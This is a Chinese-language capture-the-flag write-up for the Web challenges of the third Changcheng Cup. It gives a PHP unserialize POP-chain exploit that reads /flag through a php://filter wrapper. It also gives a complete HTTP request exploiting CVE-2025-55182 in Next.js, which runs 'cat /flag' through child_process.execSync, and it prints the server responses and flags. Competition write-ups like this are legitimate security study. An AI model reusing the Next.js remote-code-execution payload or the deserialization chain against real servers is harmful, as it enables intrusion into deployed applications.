第三届长城杯Web部分部分部分解

LuooU2025-12-292025-12-29

一言难尽，明年再战吧，这次实战经验确实涨很多很多，也见到偏难的出的比较好的题目了。

没爆零已经很开心了: )

hellogate

题目就给了个图片，用010 Editor，可以看到文件最后面有index.php的源码：

<?php
error_reporting(0);
class A {
    public $handle;
    public function triggerMethod() {
        echo "" . $this->handle; 
    }
}
class B {
    public $worker;
    public $cmd;
    public function __toString() {
        return $this->worker->result;
    }
}
class C {
    public $cmd;
    public function __get($name) {
        echo file_get_contents($this->cmd);
    }
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();

写exp：

<?php

class A{
    public $handle;
}

class B{
    public $worker;
}

class C{
    public $cmd;
}

$a = new A();
$b = new B();
$c = new C();

$a->handle=$b;
$b->worker=$c;
$c->cmd="php://filter/read=convert.base64-encode/resource=/flag";

echo"data=".(serialize($a));
?>

cmd里面开始填的是/flag，结果啥都没出来。（又是奇奇怪怪的问题）

后面尝试了index.php，发现能在最后头输出。

然后又想到文件包含的漏洞，可以用php伪协议，把flag通过base64编码输出。

最后拿到：ZmxhZ3s4ZDZjMjg1NC1lY2VkLTRlNmUtOWJkNC0zYTkxN2E3ZDczMGV9.

然后解码：flag{8d6c2854-eced-4e6e-9bd4-3a917a7d730e}.

redjs

CVE-2025-55182，核弹复现。

POST / HTTP/2
Host: eci-2zef4g0kemup9bj9l5mi.cloudeci1.ichunqiu.com:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 747

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('cat /flag',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

这个找了好久。

得到响应：

HTTP/2 500 Internal Server Error
Date: Sun, 28 Dec 2025 08:46:10 GMT
Content-Type: text/x-component
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
X-Nextjs-Cache: HIT
X-Nextjs-Prerender: 1

0:{"a":"$@1","f":"","b":"BAJdbgfUeWv31Rqiv3C4J"}
1:E{"digest":"flag{387d1182-7a51-4399-a531-e5778f1d4819}"}